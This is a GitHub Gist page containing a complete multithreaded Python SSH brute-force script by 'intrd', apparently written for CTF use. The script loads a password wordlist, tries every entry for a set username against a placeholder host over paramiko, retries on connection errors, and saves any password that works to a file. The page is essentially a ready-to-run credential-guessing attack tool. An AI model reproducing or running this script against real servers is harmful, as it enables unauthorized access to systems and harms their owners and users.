Last active
March 8, 2017 18:39
-
-
Save intrd/c8b965814f68771393019ff116c28e47 to your computer and use it in GitHub Desktop.
intrd's multithread SSH bruteforcer v1.1
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This tool is deprecated, please use https://github.com/intrd/nozzlr | |
| #!/usr/bin/env python | |
| ## intrd's multithread SSH bruteforcer v1.1 | |
| # @author intrd - http://dann.com.br/ (based on https://www.phillips321.co.uk/2013/08/31/multi-threading-python-a-quick-example/) | |
| # @license Creative Commons Attribution-ShareAlike 4.0 International License - http://creativecommons.org/licenses/by-sa/4.0/ | |
| import sys,Queue,threading,hashlib,os,socket,time | |
| from subprocess import Popen, PIPE, STDOUT | |
| import paramiko | |
| NumOfThreads=7 #dont thread too much | |
| queue = Queue.Queue() | |
| host="111.11.111.111" | |
| port=2222 | |
| user="username" | |
| resum=0 | |
| #tot=3157 | |
| #/root/wordlists/metas/unix_passwords.txt #root#root | |
| #passlist.txt #root#usuario | |
| #/root/ctf/LIBS/common_int_v3.txt | |
| WordList = open("/root/ctf/LIBS/common_int_v3.txt",'r') | |
| def ssh_connect(password, code = 0): | |
| ssh = paramiko.SSHClient() | |
| ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) | |
| #print password | |
| #exit() | |
| try: | |
| ssh.connect(host, port, user, password, timeout=15) | |
| except paramiko.AuthenticationException as e: | |
| print e | |
| code = 1 | |
| except Exception as e: | |
| print e | |
| #print "ssss" | |
| code = 2 | |
| ssh.close() | |
| ssh.close() | |
| return code | |
| class checkHash(threading.Thread): | |
| def __init__(self,queue): | |
| threading.Thread.__init__(self) | |
| self.queue=queue | |
| def run(self): | |
| i=0 | |
| retry=False | |
| while True: | |
| if not retry: | |
| try: | |
| self.clear=self.queue.get() | |
| except: | |
| print "*** WAIT, CLOSING THREAD!" | |
| self.queue.task_done() | |
| try: | |
| passtry = self.clear.strip() | |
| except: | |
| print "*** WAIT, CLOSING THREAD!" | |
| self.queue.task_done() | |
| passtry = passtry.split("|") | |
| ind = passtry[0] | |
| passtry = passtry[1] | |
| print ind+"# trying "+user+":"+passtry | |
| output = ssh_connect(passtry) | |
| #print output | |
| #output=output.__class__.__name__ | |
| # self.queue.task_done() | |
| # os._exit(0) | |
| #print output | |
| if output == 1: | |
| #time.sleep(1) | |
| retry=False | |
| if output == 2: | |
| time.sleep(3) | |
| retry=True | |
| #break | |
| if output != 1 and output != 2: | |
| print str(i)+" found: "+passtry | |
| print output | |
| #sys.exit(0) | |
| file = open("founds.txt", 'a') | |
| file.write(passtry+"\n") | |
| file.close() | |
| self.queue.task_done() | |
| os._exit(0) | |
| #exit_code = process.wait() | |
| i+=1 | |
| self.queue.task_done() | |
| for i in range(NumOfThreads): | |
| t=checkHash(queue) | |
| t.setDaemon(True) | |
| t.start() | |
| i=0 | |
| for word in WordList.readlines(): | |
| if i >= resum: | |
| queue.put(str(i)+"|"+word.strip()) | |
| i+=1 | |
| queue.join() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment